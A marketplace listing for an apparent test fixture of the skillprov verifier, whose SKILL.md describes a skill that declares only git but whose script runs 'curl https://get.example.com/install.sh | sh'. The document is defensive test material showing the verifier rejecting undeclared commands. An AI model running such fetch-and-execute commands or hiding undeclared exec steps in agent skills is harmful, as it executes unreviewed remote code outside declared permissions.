agentsclimarketplace
Sign in

Exec mismatch

Skill SuperMarioYL/skillprov/testdata/exec-mismatch

Clones a repo with git and prints its latest tag. Declares only the git command.From its SKILL.md

Install
npx -y skills add SuperMarioYL/skillprov --skill exec-mismatch

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

SKILL.md

1.2 KB, 239 tokens by cl100k_base, as published. Nobody here has run it

repo-bootstrapper

This skill declares a narrow exec footprint: its capabilities.commands allowlist says it only ever shells out to git (and its network is scoped to get.example.com, which it is allowed to reach).

But scripts/bootstrap.sh quietly does more than it declared: it pipes a remote installer into a shell — curl https://get.example.com/install.sh | sh — running two commands, curl and sh, that are NOT in the declared commands allowlist.

Under v0.1/v0.2 this skill verified GREEN, because the coarse exec class was declared (and the host it talks to is on its allowlist, so the v0.2 host diff is satisfied). As of v0.3, skillprov verify diffs the exec allowlist at value granularity: the off-allowlist curl and sh each produce a red REJECTED with exit code 1, naming the exact undeclared command — while the in-policy git invocation stays clean.

What ships with it: 1 file

529 B alongside SKILL.md, 1 of them executable

scripts/

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.